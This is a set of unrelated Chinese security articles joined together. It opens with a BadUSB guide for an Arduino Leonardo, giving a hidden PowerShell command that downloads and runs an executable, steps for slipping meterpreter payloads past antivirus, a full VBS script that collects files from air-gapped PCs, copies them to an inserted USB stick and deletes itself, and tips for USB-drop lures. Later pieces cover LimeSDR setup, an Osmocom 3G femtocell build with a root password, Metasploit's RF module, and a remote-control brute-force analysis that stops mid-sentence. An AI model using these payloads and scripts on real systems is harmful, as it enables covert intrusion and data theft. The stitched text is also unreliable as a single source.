0X00 前言 在Freebuf上许多同学已经对HID攻击谈了自己的看法,如维克斯同学的《利用Arduino快速制作Teensy BadUSB》无论从科普还是实践都给我们详尽的描述了BadUSB制作的相关过程,lpcdma同学的《使用arduino进行渗透测试》则通过SET与Arduino的结合进行渗透,mrzcpo同学的 《HID高级攻击姿势:利用PowerShell脚本进行文件窃取》则介绍了获取文件的详细步骤,我在学习领悟之后想到了一些改进方案,比如绕过360主动防御,隐藏攻击行为,payload免杀,针对不联网设备攻击等,现分享如下,如有不足之处还请大佬指教。 (为贴近实战在某宝上买了个带外壳的Leonardo:P) 0X01 绕过360主动防御 输入Powershell命令 powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://127.0.0.1/PUTTY.EXE';$file = ' D:\\x.exe ';$clnt.DownloadFile($url,$file); 这个命令的意思大体是从服务器(这里是本地web服务器)下载EXE到D盘上,但是直接输入360会弹框: 这显然会引起用户注意:-O,而在之前文章中并未提及,可能是在未装杀软的虚拟机中运行的。因为此处不可以通过操控键盘,用先按左键,再按回车的方法实现“允许程序运行”,想到用模拟鼠标的操作完成两次点击,然而比较难以操控,后发现可以通过分步完成绕过:P 注意在实际操作中不要把文件下载到C盘中,那样还需要一个管理员权限,比较麻烦 0X02最大化隐蔽操作 在调出运行窗口后输入 cmd /c start /min powershell -w hidden /c标明执行玩/c后面的语句后关闭cmd窗口,就不会弹出一个黑框来吓人了,start /min是最小化窗口运行命令,可以避免弹出powershell的蓝框,-w hidden是让powershell以隐蔽的模式运行,此时仍可以输入命令,但不会出现对话框,这样就可以让命令运行尽可能的隐蔽了:P 当然是为了装个小X,做演示的话就可以先不管这些了,不过从实战角度出发,还是低调为妙:P 0X03免杀Payload 在完成了文件下载之后我们就思考如何拿到shell,此时有两种方式 对msf攻击负荷的免杀处理 在Kali2.0里面msfpayload和msfencode合二为一成为了msfvenom(venom:毒液(⊙o⊙)) -p指定负荷类型,后面是参数,-f指定输出格式,-x指定自义定的模板,这里用Putty.exe,-e指定编码格式,-i指定编码次数,-o指定输出位置(msfvenom可能由于集成了两个功能,导致不能多重编码||=_=) 再用upx进行加壳处理,-9指定以最高等级加壳,最低为1 然而还是被干掉了(;′⌒`)但即使用BT5里面带的msfencode进行多次编码也只能过部分杀软,而且一旦木马被收录360云端就永久失效了,我们找一种现在看起来更好的方法:P SET工具集中的Powershell攻击向量 直接下载msf生成的Payload即使花式编码也难免被高启发、云查杀、沙箱检测等手段干掉,所以通过强大的Powershell来建立反向连接是不错的选择,然而在SET工具包中Arduion-Based Attack Vector还针对的是Teensy,并不能直接在Leonardo上使用,故需通过SET中Powershell Attack Vector来实现目的 然后会打开一个MSF的Reverse_TCP Listener 此时只需要在靶机上运行SET生成的Payload即可(初始生成的是txt,后缀改为bat即可)可以看到打开了一个meterpreter连接:P TheFatRat Screetsec组织新出了一个TheFatRat,可以生成免杀的Payload,也是使用的Powershell+bat进行攻击我们来看一下效果:P生成步骤: 生成的test.bat可以过360 同时还能过大多数AV(只有一家报了毒):P 成功打开meterpreter会话:P 尝试后发现[2]Create exe file with c# + Powershell产生的exe文件会在一会后报毒,也许可以用,但还是会引起被控者警觉,看来Powershell,bat这样Windows组件好啊,作为系统组件不可能被查杀;文件小巧而又有底层支持,从而功能强大;驱动脚本非PE从而难以以静态方法查杀;而且大多数Windows电脑并没有禁用Powershell,故成为当今病毒界大红大紫的人物:P 0X04针对不联网设备攻击 我们知道许多机密场合计算机都是不联网的,对此我们只能通过USB带出资料,而可惜的是现有BadUSB设备并无存储功能-_-||(也许可以订制),所以只能通过摆渡攻击实现,第一次导入代码自动搜索想要的文件,打包压缩,并在检测到有U盘插入时将文件传入U盘,此VBS代码在后台运行,等待时机,先用Arduino Leanardo传入代码,再用另一个U盘取出文件。 vbs代码实现如下,主要功能是通过模糊查询找到想要的文件,放到D:\fn(fileneeded)文件夹下,压缩后删除原文件并等待U盘插入,插入后将fn.rar传入U盘并删除目标电脑中的fn.rar和VBS脚本 On Error Resume Next '查找指定的文件 '纯vbs的话要递归遍历所有文件夹,比较麻烦,可以和cmd结合起来用 targetfile="*flag*.txt" '改成你要找的文件名,进行模糊查询 Set WshShell = WScript.CreateObject("Wscript.Shell") Set fso = WScript.CreateObject("Scripting.Filesystemobject") tempfile=WScript.ScriptName&"_temp.txt" '存找到的文件目录的临时文件 wshshell.Run "cmd /c dir d:\"&targetfile&"/b /s>"&tempfile,0,True Set f=fso.GetFile(tempfile) If f.Size>0 Then 'dir找到目标文件时会向tempfile中写入数据, Set ft=fso.OpenTextFile(tempfile,1) fso.CreateFolder "d:\fn" Do Until ft.AtEndOfStream '可能会找到多个文件,故需要读每一行的数据 line=ft.ReadLine '读入一行 fso.CopyFile line,"d:\fn\",false Loop ft.Close End If fso.DeleteFile(tempfile)'删除生成的临时文件 '压缩文件 des="d:\fn.rar" sou="d:\fn" WshShell.Run "cd C:\Program Files\WinRAR ",0,True WshShell.Run "winrar m -r -epl -ibck "& Chr(34)&des&Chr(34)&" "&Chr(34)&sou&chr(34),0,True ' 实现后台压缩完后删除原文件 ,Chr(34)为解决双引号里面套双引号的问题 '检测有无U盘插入并将压缩包发到U盘中 dim dc,d,flag flag=0 do if flag=1 then exit do Set dc = fso.Drives For Each d in dc If d.DriveType = 1 Then If u="" Then u=d.DriveLetter add = u&":/" fso.CopyFile "d:\fn.rar",add,false '复制文件到u盘 flag = 1 End if u="" End if WScript.Sleep 5000 Next loop WScript.Sleep 10000 fso.DeleteFile "d:\fn.rar" '删除压缩包 fso.DeleteFile(WScript.ScriptFullName)'自删除 不过当今各种杀软对VBS脚本是严防死守,很多正常功能都报毒,没有高超的VBS免杀技术恐怕是难以完成了。或许可以寄托于不联网的机器松于防备,没装AV…,不过不联网的电脑多半是放绝密信息的,要是你能偷到就可以吃枪子了||+_+。不知道你下辈子还想不想干黑客,如果可能的话十五年后你又是一条好汉:P 结语 在实战中还可以通过仔细选择USB投掷地点,选择或卡哇伊或猥琐的U盘外壳,或在USB上贴上虚构的联系方式,“捡到请归还”等标签增加迷惑性,总之不要低估人类愚蠢的好奇心就好:P 最后的最后,尽管在《超限战》中说道“一切可以帮助人类的东西皆可加害于人类”,但我更想说的是:反之,亦然 !那些伤害人类的东西会让我们变得更加坚强,愿以此文以攻促防,为网络空间的安全添砖加瓦! 本文存在攻击性,请勿用于非法用途,一切责任与本人无关。
0x00 概览 LimeSDR部分特性: USB 3.0 ; 4 x Tx 发射天线接口 6 x Rx 接收天线接口; 可用于Wi-Fi, GSM, UMTS, LTE, LoRa, Bluetooth, Zigbee, RFID等开发测试环境中。 RTL电视棒、HackRF、BladeRF、USRP、LimeSDR参数对比表: HackRF One的价格,性能参数却能跟BladeRF甚至USRP媲美! LimeSDR核心组件: 先上几张特写: 主板长10cm,算上USB接口11.5cm: 主板宽5.7cm: 相对于HackRF、BladeRF、USRP这三款主流SDR硬件(USRP mini除外),体积已经很小巧了。LimeSDR其体积实测只有一个iPhone5s的体积大小! 当插上USB供电后,除了上图显示的两颗绿色LED灯,还有一颗一闪一闪的红色LED灯也在工作。 接下来将分一键快速安装和源码编译安装来使用LimeSDR硬件,推荐使用源码编译安装。 0x01 Mac OSX 1.1 搭建开发环境 Mac OSX当中强烈推荐通过Mac Port 搭建SDR环境,配合源码编译达到最佳效果。 1.通过AppStore安装Xcode https://itunes.apple.com/cn/app/xcode/id497799835?mt=12 2.下载安装 XQuartz/X11 http://xquartz.macosforge.org/landing 3.下载安装 MacPorts https://trac.macports.org/wiki/InstallingMacPorts sudo port search sdr sudo port install rtl-sdr hackrf bladeRF uhd gnuradio gqrx gr-osmosdr gr-fosphor 完成之后便可从GayHub上clone源码并进行编译安装。 1.2 源码编译LimeSuite git clone https://github.com/myriadrf/LimeSuite.git cd LimeSuite mkdir builddir && cd builddir cmake ../ make -j4 sudo make install 1.3 源码编译UHD驱动&&增加UHD对LimeSDR的支持 jocover基于UHD给LimeSDR开发了LimeSDR的驱动支持OpenUSRP,把LimeSDR来模拟成USRP B210来使用。 git clone https://github.com/EttusResearch/uhd.git cd uhd/host/lib/usrp git clone https://github.com/jocover/OpenUSRP.git echo "INCLUDE_SUBDIRECTORY(OpenUSRP)">>CMakeLists.txt mkdir build && cd build cmake .. make -j4 sudo make install 1.4 添加环境变量 echo 'export UHD_MODULE_PATH=/usr/lib/uhd/modules' >> ~/.bashrc 如果用的是iTerm2+zsh则执行: echo 'export UHD_MODULE_PATH=/usr/lib/uhd/modules' >> ~/.zshrc 1.5 检测LimeSDR模拟USRP是否成功: LimeSDR模拟成USRP B210之后最终的效果跟USRP是一样的: uhd_find_devices uhd_usrp_probe Mac OS; Clang version 8.1.0 (clang-802.0.38); Boost_105900; UHD_003.010.001.001-MacPorts-Release Using OpenUSRP [WARNING] Gateware version mismatch! Expected gateware version 2, revision 8 But found version 2, revision 6 Follow the FW and FPGA upgrade instructions: http://wiki.myriadrf.org/Lime_Suite#Flashing_images Or run update on the command line: LimeUtil --update [INFO] Estimated reference clock 30.7195 MHz [INFO] Selected reference clock 30.720 MHz [INFO] LMS7002M cache /Users/cn0xroot/.limesuite/LMS7002M_cache_values.db MCU algorithm time: 10 ms MCU Ref. clock: 30.72 MHz MCU algorithm time: 163 ms MCU algorithm time: 1 ms MCU Ref. clock: 30.72 MHz MCU algorithm time: 104 ms MCU algorithm time: 1 ms MCU Ref. clock: 30.72 MHz MCU algorithm time: 167 ms MCU algorithm time: 1 ms MCU Ref. clock: 30.72 MHz MCU algorithm time: 104 ms _____________________________________________________ / | Device: B-Series Device | _____________________________________________________ | / | | Mboard: B210 | | revision: 4 | | product: 2 | | serial: 243381F | | FW Version: 3 | | FPGA Version: 2.6 | | | | Time sources: none, internal, external | | Clock sources: internal, external | | Sensors: ref_locked | | _____________________________________________________ | | / | | | RX DSP: 0 | | | | | | Freq range: -10.000 to 10.000 MHz | | _____________________________________________________ | | / | | | RX DSP: 1 | | | | | | Freq range: -10.000 to 10.000 MHz | | _____________________________________________________ | | / | | | RX Dboard: A | | | _____________________________________________________ | | | / | | | | RX Frontend: A | | | | Name: FE-RX1 | | | | Antennas: TX/RX, RX2 | | | | Sensors: temp, lo_locked, rssi | | | | Freq range: 30.000 to 3800.000 MHz | | | | Gain range PGA: 0.0 to 76.0 step 1.0 dB | | | | Bandwidth range: 1000000.0 to 60000000.0 step 1.0 Hz | | | | Connection Type: IQ | | | | Uses LO offset: No | | | _____________________________________________________ | | | / | | | | RX Frontend: B | | | | Name: FE-RX2 | | | | Antennas: TX/RX, RX2 | | | | Sensors: temp, lo_locked, rssi | | | | Freq range: 30.000 to 3800.000 MHz | | | | Gain range PGA: 0.0 to 76.0 step 1.0 dB | | | | Bandwidth range: 1000000.0 to 60000000.0 step 1.0 Hz | | | | Connection Type: IQ | | | | Uses LO offset: No | | | _____________________________________________________ | | | / | | | | RX Codec: A | | | | Name: B210 RX dual ADC | | | | Gain Elements: None | | _____________________________________________________ | | / | | | TX DSP: 0 | | | | | | Freq range: -10.000 to 10.000 MHz | | _____________________________________________________ | | / | | | TX DSP: 1 | | | | | | Freq range: -10.000 to 10.000 MHz | | _____________________________________________________ | | / | | | TX Dboard: A | | | _____________________________________________________ | | | / | | | | TX Frontend: A | | | | Name: FE-TX1 | | | | Antennas: TX/RX | | | | Sensors: temp, lo_locked | | | | Freq range: 30.000 to 3800.000 MHz | | | | Gain range PGA: 0.0 to 89.8 step 0.2 dB | | | | Bandwidth range: 800000.0 to 60000000.0 step 1.0 Hz | | | | Connection Type: IQ | | | | Uses LO offset: No | | | _____________________________________________________ | | | / | | | | TX Frontend: B | | | | Name: FE-TX2 | | | | Antennas: TX/RX | | | | Sensors: temp, lo_locked | | | | Freq range: 30.000 to 3800.000 MHz | | | | Gain range PGA: 0.0 to 89.8 step 0.2 dB | | | | Bandwidth range: 800000.0 to 60000000.0 step 1.0 Hz | | | | Connection Type: IQ | | | | Uses LO offset: No | | | _____________________________________________________ | | | / | | | | TX Codec: A | | | | Name: B210 RX dual ADC | | | | Gain Elements: None ~ 1.6 捕获遥控信号 osmocom_fft -F -f 315e6 -s 2e6 0x02 Ubuntu 2.1 更新软件包 sudo add-apt-repository -y ppa:myriadrf/drivers sudo apt-get update apt-cache search sdr 2.2 安装SDR常用软件: sudo apt-get update sudo apt-get install git sudo apt-get install python-pip pip install --upgrade pip pip install git+https://github.com/gnuradio/pybombs.git pybombs recipes add gr-recipes git+https://github.com/gnuradio/gr-recipes.git pybombs recipes add gr-etcetera git+https://github.com/gnuradio/gr-etcetera.git pybombs prefix init /usr/local -a myprefix -R gnuradio-default pybombs install gqrx gr-osmosdr uhd 2.3 安装Lime_Suite所需依赖包 #packages for soapysdr available at myriadrf PPA sudo add-apt-repository -y ppa:myriadrf/drivers sudo apt-get update #install core library and build dependencies sudo apt-get install git g++ cmake libsqlite3-dev #install hardware support dependencies sudo apt-get install libsoapysdr-dev libi2c-dev libusb-1.0-0-dev #install graphics dependencies sudo apt-get install libwxgtk3.0-dev freeglut3-dev 接下来的源码编译过程与在OSX下源码编译过程一样: 2.4 源码编译LimeSuite git clone https://github.com/myriadrf/LimeSuite.git cd LimeSuite mkdir builddir && cd builddir cmake ../ make -j4 sudo make install 执行LimeSuiteGUI启动LimeSDR的软件图形化界面: 2.5 源码编译UHD驱动&&增加UHD对LimeSDR的支持 源码编译UHD+OpenUSRP git clone https://github.com/EttusResearch/uhd.git cd uhd/host/lib/usrp git clone https://github.com/jocover/OpenUSRP.git echo "INCLUDE_SUBDIRECTORY(OpenUSRP)">>CMakeLists.txt cd ../../ mkdir build && cd build cmake .. make -j4 sudo make install sudo ldconfig 2.6 添加环境变量 echo 'export UHD_MODULE_PATH=/usr/lib/uhd/modules' >> ~/.bashrc 2.7 GNURadio使用测试 wget http://www.0xroot.cn/SDR/signal-record.grc gnuradio-companion signal-record.grc 0x03 Reference http://www.cnx-software.com/2016/04/29/limesdr-open-source-hardware-software-defined-radio-goes-for-199-and-up-crowdfunding/ https://wiki.myriadrf.org/Lime_Suite http://linuxgizmos.com/open-source-sdr-sbc-runs-snappy-ubuntu-on-cyclone-v/
English Version could be find at Osmocom.org https://osmocom.org/projects/cellular-infrastructure/wiki/Accelerate3g5_--_unicornteam 0x01环境搭建 PC:Ubuntu16.04 HardWare:ip.access nano3G SoftWare:Osmocom 1.1 安装交叉编译环境 sudo apt-get update sudo apt-get install libtool shtool autoconf git-core pkg-config make gcc build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libusb-0.1-4 libpcsclite1 libccid pcscd libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev libpcsclite-dev sudo ldconfig mkdir osm cd osm mkdir build install src wget http://bb.osmocom.org/trac/raw-attachment/wiki/GnuArmToolchain/gnu-arm-build.3.sh cd src wget http://ftp.gnu.org/gnu/gcc/gcc-4.8.2/gcc-4.8.2.tar.bz2 wget http://ftp.gnu.org/gnu/binutils/binutils-2.21.1a.tar.bz2 wget ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz cd .. chmod +x gnu-arm-build.3.sh sudo bash gnu-arm-build.3.sh 1.2 设置交叉编译环境变量 cd install/bin pwd vi ~/./.bashrc export PATH=$PATH:/home/$username(change this to your name)/osm/install/bin #save and quit source ~/.bashrc 0x02 源码编译CalypsoBTS 2.1 编译libosmo-dsp git clone git://git.osmocom.org/libosmo-dsp.git cd libosmo-dsp/ autoreconf -i ./configure make sudo make install cd .. 2.2 编译osmocom-bb git clone git://git.osmocom.org/osmocom-bb.git trx cd trx/ git checkout jolly/testing cd src/ # 需要 TX 功能支持 # 取消target/firmware/Makefile代码中'CFLAGS += -DCONFIG_TX_ENABLE' 前边的注释 # 并在make时启用transceiver功能支持 make HOST_layer23_CONFARGS=--enable-transceiver 2.3 安装依赖包 sudo apt-get install sqlite3 libdbi-dev libdbd-sqlite3 libsctp-dev 2.4 编译 Ortp wget http://download.savannah.gnu.org/releases/linphone/ortp/sources/ortp-0.22.0.tar.gz tar -xvf ortp-0.22.0.tar.gz cd ortp-0.22.0/ ./configure make sudo make install sudo ldconfig cd .. 2.5 编译libosmo-abis git clone git://git.osmocom.org/libosmo-abis.git cd libosmo-abis autoreconf -i ./configure make sudo make install sudo ldconfig cd .. 2.6 编译libosmo-netif git clone git://git.osmocom.org/libosmo-netif.git cd libosmo-netif/ autoreconf -i ./configure make sudo make install sudo ldconfig cd .. 2.7 编译openbsc 编译Openbsc时需用到PCAP库文件,编译前先搜索&安装依赖包: apt-cache search PCAP sudo pat-get install libpcap-dev libpcap0.8 libpcap0.8-dbg libpcap0.8-dev sudo ldconfig git clone git://git.osmocom.org/openbsc.git cd openbsc/openbsc/ autoreconf -i ./configure make sudo make install cd ../.. git clone git://git.osmocom.org/openbsc.git cd openbsc/openbsc/ autoreconf -i ./configure make sudo make install cd ../.. 2.8 编译osmo-bts git clone git://git.osmocom.org/osmo-bts.git cd osmo-bts autoreconf -i ./configure --enable-trx make sudo make install cd .. 2.9 创建OpenBSC配置文件 #如果配置文件不存在需要先创建 Create the configuration folder if it isn't exist yet mkdir ~/.osmocom cd ~/.osmocom touch ~/.osmocom/open-bsc.cfg touch ~/.osmocom/osmo-bts.cfg 0x03 源码编译Cellular Infrastructure 3.1 克隆源码 git clone git://git.osmocom.org/libosmocore git clone git://git.osmocom.org/libosmo-abis git clone git://git.osmocom.org/openbsc git clone git://git.osmocom.org/libosmo-netif git clone git://git.osmocom.org/libosmo-sccp git clone git://git.osmocom.org/libsmpp34 git clone git://git.osmocom.org/openggsn 3.2 下载&执行自动编译脚本 wget https://osmocom.org/attachments/download/2438/build_2G.sh chmod 777 build_2G.sh sudo bash build_2G.sh 0x04 配置OpenBSC 4.1 启动BTS 终端1: osmo-nitb -c ~/.osmocom/open-bsc.cfg -l ~/.osmocom/hlr.sqlite3 -P -C --debug=DRLL:DCC:DMM:DRR:DRSL:DNM 终端2: telnet localhost 4242 4.2 配置IP PC IP:192.168.31.147 (通过WiFi连接) 路由器 IP:192.168.31.1 3G Access Point IP:未知 方法1:进入路由后台,查找3G Access Point IP 方法2:通过abissip-find找到3G Access Point IP cd openbsc/openbsc/src/ipaccess #or cd openbsc/openbsc/build-2G/src/ipaccess sudo ./abisip-find 4.3 Telnet连入3G Access Point telnet 3G Access Point's IP 8090 4.4 SSH连入 ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@192.168.31.136 password:newsys ipaccess-config init3@0xroot:~/osm/openbsc/openbsc/src/ipaccess$ ./ipaccess-config --help ipaccess-config (C) 2009-2010 by Harald Welte and others This is FREE SOFTWARE with ABSOLUTELY NO WARRANTY Usage: ipaccess-config IP_OF_BTS Commands for writing to the BTS: -u --unit-id UNIT_ID Set the Unit ID of the BTS -o --oml-ip IP Set primary OML IP (IP of your BSC) -i --ip-address IP/MASK Set static IP address + netmask of BTS -g --ip-gateway IP Set static IP gateway of BTS -r --restart Restart the BTS (after other operations) -n --nvram-flags FLAGS/MASK Set NVRAM attributes -S --nvattr-set FLAG Set one additional NVRAM attribute -U --nvattr-unset FLAG Set one additional NVRAM attribute -l --listen TESTNR Perform specified test number -L --Listen TEST_NAME Perform specified test -s --stream-id ID Set the IPA Stream Identifier for OML -d --software FIRMWARE Download firmware into BTS Miscellaneous commands: -h --help this text -H --HELP Print parameter details. -f --firmware FIRMWARE Provide firmware information -w --write-firmware This will dump the firmware parts to the filesystem. Use with -f. -p --loop Loop the tests executed with the --listen command. ipaccess-proxy init3@0xroot:~/osm/openbsc/openbsc/src/ipaccess$ ./ipaccess-proxy --help Usage: ipaccess-proxy [options] ipaccess-proxy is a proxy BTS. -h --help. This help text. -l --listen IP. The ip to listen to. -b --bsc IP. The BSC IP address. -g --gprs IP. Take GPRS NS from that IP. -s --disable-color. Disable the color inside the logging message. -e --log-level number. Set the global loglevel. -T --timestamp. Prefix every log message with a timestamp. -V --version. Print the version of OpenBSC. 0x05 Reference https://osmocom.org/projects/cellular-infrastructure/wiki/Build_from_Sourcehttp://osmocom.org/projects/baseband/wiki/CalypsoBTShttps://osmocom.org/projects/cellular-infrastructure/wiki/Getting_Started_with_3Ghttps://osmocom.org/projects/osmocscn/wiki/Osmocom_3G_-_Getting_Started/3https://osmocom.org/projects/cellular-infrastructure/wiki/Configuring_the_ipaccess_nano3G
https://community.rapid7.com/community/metasploit/blog/2017/03/21/metasploits-rf-transceiver-capabilities 物联网兴起 我们花费大量时间来监控我们的企业网络,并使用许多工具来检测异常的行为。我们不断地扫描漏洞、公布测试。然而,我们经常不能认识到自己网络,和家庭中的小型(有时是大型)物联网(IoT)设备。令人震惊的是,考虑到它们的普遍性 – 这些设备并不是容易被测试的。 RF:(无线射频识别(RadioFrequency))一般指无线射频 虽然很困难,在技术上,可以通过其以太网侧的连接来发现和识别这其中的部分IoT设备。但这不能让我们全面了解这些设备对消费者或企业带来的风险。当仅评估以太网连接的设备时,您可能会错过对企业安全造成重大影响的无线系统。无线网络通常会控制警报系统、监控、门禁、机房HVAC控制等诸多领域。 这给我们带来了一个非常关键的问题:如何真正确定这些设备的风险? 从最基础开始: 这些连接的设备能做什么? 这些设备的作用范围是多少? 设备是否具有无线功能? 传统上,我们经常对802.11无线网络执行周期扫描,以确保接入点是否安全,网络流量是否过大。我们可以监控并创建堆叠的AP以防止他们某一个挂掉或者被附近电磁干扰。当然,如果你问:其它频率的无线频段呢?而这恰恰是我们要研究的领域和方向。 也许您由于其他原因使用非802.11标准以外的其他无线电频。遥控车库门?RFID读卡器、无线安全系统、Zigbee控制灯或HVAC系统等。 这些设备的频率范围是多少?它们是否加密受保护?当受到干扰时会发生什么?在封闭或开放的状态下是否失败? 无法有效地回答这些问题,是我们发布Metasploit硬件桥射频(RF)收发器的真正原因,也说明为什么我们认为这将是安全研究人员和渗透测试人员了解其实际攻击面的关键工具。 现在,安全团队将能够对公司的安全状况进行更真实的评估。能够测试物理安全控制,并更好地了解物联网及其他设备的安全性。 以安全研究的名义进行的大部分活动可能是有争议的或难以理解的。 但RF测试肯定是正确的,随着我们看到越来越多的技术利用RF通信,研究领域变得越来越多和越普遍。 对安全测试领域开发的任何技术最常见的批评是:容易被攻击者利用。安全圈有个常见的反应:如果已经被攻击者利用,那我们唯有了解黑客在做什么、有效地模拟攻击方法,并展示攻击潜在的影响,才能采取必要的措施来阻止他们。 这是Metasploit背后的逻辑,以及驱动了Rapid7大规模的漏洞研究工作。这也是RF 收发器出现的原因。我们坚信,RF测试是漏洞测试非常重要的的一部分(虽然目前仍被忽视),随着物联网生态系统的发展,射频测试的重要性将会持续增加。 我们有这样一个案例,2016年,Rapid7的Jay Radcliffe公布了强生公司Animas OneTouch Ping胰岛素泵的多个漏洞。 攻击演示过程: 普通的泵具有血糖仪,其通过专有无线管理协议中的无线电频作为遥控器。泵和遥控器之间的通信以明文而非加密的形式传输。这为攻击者创造了机会,使用适当的技术手段和资源来欺骗短距离遥控器将触发未经授权的胰岛素注射。 虽然Jay认为攻击者利用这些漏洞的可能性比较低,但可能会严重伤害使用该技术的患者。幸运的是,Jay及时发现了这个问题,并给强生公司提出建议,通知病患者使其减轻风险。 如若没有RF测试,这些漏洞可能一直存在,患者将无法做出选择来保护自己。 Status-1 REMOTE: 00 00 00 04 A3 5A 92 B2 4C 00 0E 0F .....Z..L... REMOTE: 00 00 00 04 A3 5A 92 B2 4C 00 0E 0F .....Z..L... PUMP: 00 00 FF 00 1A D1 81 81 ........ REMOTE: 20 00 0E 00 BF DB CC 6F ......o PUMP: 03 00 F1 04 16 B9 B9 87 2C 01 00 00 ........,... REMOTE: 03 00 F8 00 31 FD C9 EE ....1... PUMP: 03 00 07 04 88 76 DA DD 2C 01 00 00 .....v..,... REMOTE: 03 00 12 00 F0 30 0E FC .....0.. PUMP: 20 00 ED 12 E7 BC 93 43 01 01 27 05 26 02 8F 00 ......C..'.&... PUMP: 57 45 45 4B 44 41 59 00 00 00 WEEKDAY... PUMP: 05 00 EA 00 D5 8F 84 B3 样本数据包 工作原理 在解释其工作原理之前,需做一个简单申明: Rapid7不销售RF测试所需的硬件。您可以在任何地方获得。比如:Hacker Warehouse,Hak5,淘宝,京东,亚马逊或任何无线设备的电子商店。 使用射频(RF)收发器,安全专家能够制作并监控不同的RF数据包,以正确识别和访问公司内除以太网以外的无线网络系统。 第一个RF收发器版本支持TI cc11xx低功耗Sub-1GHz射频收发器。 RF收发器可以调整设备来识别和调制解码信号。甚至可以创建短时间的干扰来识别故障状态。该版本还提供了与TI cc11xx芯片组流行的RfCat python框架兼容的完整API。如果您现有的程序使用RfCat,您可以轻易的将它们移植到Metasploit中。此版本附带两个后置模块:基于暴力破解的振幅调制(rfpwnon) 和 通用发射器(transmitter)。 如何使用RF Transceiver 使用新的RF 收发器需要购买像Rard Stick One这样兼容RfCat的设备。 然后下载最新的RfCat驱动程序,在这些驱动程序中,会有一个rfcat_msfrelay。这是RfCat中Metasploit Framework的中继服务器,运行在附属的RfCat兼容设备系统上。 您可以连接硬件桥: $./msfconsole -q msf > use auxiliary/client/hwbridge/connect msf auxiliary(connect) > run [*] Attempting to connect to 127.0.0.1... [*] Hardware bridge interface session 1 opened (127.0.0.1 -> 127.0.0.1) at 2017-02-16 20:04:57 -0600 [+] HWBridge session established [*] HW Specialty: {"rftransceiver"=>true} Capabilities: {"cc11xx"=>true} [!] NOTICE: You are about to leave the matrix. All actions performed on this hardware bridge [!] could have real world consequences. Use this module in a controlled testing [!] environment and with equipment you are authorized to perform testing on. [*] Auxiliary module execution completed msf auxiliary(connect) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 hwbridge cmd/hardware rftransceiver 127.0.0.1 -> 127.0.0.1 (127.0.0.1) msf auxiliary(connect) > sessions -i 1 [*] Starting interaction with 1... hwbridge > status [*] Operational: Yes [*] Device: YARDSTICKONE [*] FW Version: 450 [*] HW Version: 0348 要了解有关RF Transceiver的更多信息,在这里下载最新的Metasploit: https://www.rapid7.com/products/metasploit/download/community
无线遥控器(无线电遥控器)在我们生活中非常常见,应用于各种场景,方便着用户的使用。不过大多数还是用于安防方面的,比如: 遥控报警器、电动卷帘门、电动伸缩门、遥控电开关、无线遥控门铃…… 1、无线遥控器简介 无线遥控器从安全角度看大致分为两类,一类是最普遍的固定码遥控器,特点是廉价、应用广泛、市场大、用户多;另一类是滚动码遥控器,特点是价格较贵、相对比较安全、用于汽车安全防盗等安全要求较高的地方。 固定码遥控器有很多种编码方式,国内常见的是 3 态 8 位的编码或者厂商出厂时烧录的随机码。滚动码这里不做讲解,我都还得到这类遥控器,滚动码相对来说比较安全,但也并非绝对安全,你的汽车用到就是滚动码遥控器,然而盗贼在 N 年前就能买到干扰破解你汽车防盗的设备了。 无线遥控器从信号调制方式可以大致分成 OOK 和 FSK 两种方式,当然这只是常见的,还有其他的信号调制方式。 2、三态八位遥控器 3 态 8 位遥控器是我们常见的遥控器,它属于固定码遥控器。在电瓶车防盗器、电动卷帘门、电动伸缩门、遥控电开关、无线遥控门铃这些应用中都能见到这种遥控器,因为这种遥控器很廉价。 2.1 什么是三态八位遥控器? 3 态 8 位遥控器顾名思义,它有 3 种码位状态 8 个码位。二进制是由 0 和 1 组成的,所以 2 位(bit)长的二进制有 4 种可能性 00 01 10 11 , 3 态 8 位遥控器使用的是这其中的 3 种 00 01 11 这是 3 态。8 位是指有 8 个编码位,每个编码位可使用 3 态中的任意一种,所以是 2 * 8 = 16 总共 16 位(bit)长的二进制,但是常见的无线遥控器是的数据长度是 24 位(bit),因为后 8 位(bit)是定义按键值的(如果你对信号解码出来的是 25 位(bit)长,你可以除去末尾的 0 ;如果是 25 位(bit)长,末尾的是 1 这可能是你解码错了)。常见的 4 键遥控器的的每个键值都是出厂就固定了的,分别是 11000000 00110000 00001100 00000011 2.2 厂商烧录的固定码 如果你的固定码遥控器解码后的二进制中有一对 10 码(注意是一对,前一对的后 1 跟后一对的前 0 组成的 10 是不算的)这说明你的遥控器不属于 3 态 8 位遥控器,是厂商出厂时烧录的固定码,这种遥控器的后 8 位(bit)按键值也不一定是标准的 4 种可能性。 这类固定码遥控器的接收端一般都是学习行的,会有一个学习键。作用是配对新的遥控器,如果当前遥控器坏了,你可以买个同类型的遥控器,长按学习键再按遥控器,就可以学习到新遥控器的编码的信息,这样你就能继续使用了。 2.3 辨别是否是三态八位 辨别是否是 3 态 8 位遥控器最靠谱的方法就是拆开来看 PCB 板子,有 3 排 8 列焊盘的肯定是,否则就不是,使用 3 态 8 位拨码开关的也是。 2.4 三态八位遥控器编码 国内常见的编码方法都是直接焊接 PCB 上的焊盘,极少使用拨码开关,节省成本?当然你也能买到 3 态 8 位的拨码遥控器。 从上图中可以看出总共有 3 排 8 列焊盘,这也就是 3 态(上中下) 8 位的定义方式。中间的一排连接的是芯片的引脚,当芯片的一个引脚与 High 焊接上后产生的编码是 11 与 Low 焊接上后产生的编码是 00 不焊接的默认编码是 01 。 编码是成对的,遥控器上是这个编码,接收器上也得是这个编码否则是没法使用的。 3、分析安全缺陷 从上文中我们知道了遥控器的二进制编码长度是 24 位(bit),前 16 位(bit)是由 3 态 8 位编码方式定义的,后 8 位(bit)是厂商固定死的的按键值。一个遥控器上的每个按键的前 16 位(bit)都是一样的,后 8 位(bit)是不一样的,就 4 种可能性。假设如果每个按键都是没有规律的随机码,那么你想通过暴力穷举出正确的编码,你需要尝试 2 ^ 24 = 16777216 总共 16777216 种可能性。假设后 8 位(bit)是固定的 4 种可能性,前 16 位(bit)是随机的,那你只需要尝试前 16 位(bit)的所有可能性在拼接上后 8 位(bit)的固定值,你需要尝试 2 ^ 16 = 65536 4 ^ 8 = 65536 每个按键总共 65536 种可能性。由于 3 态 8 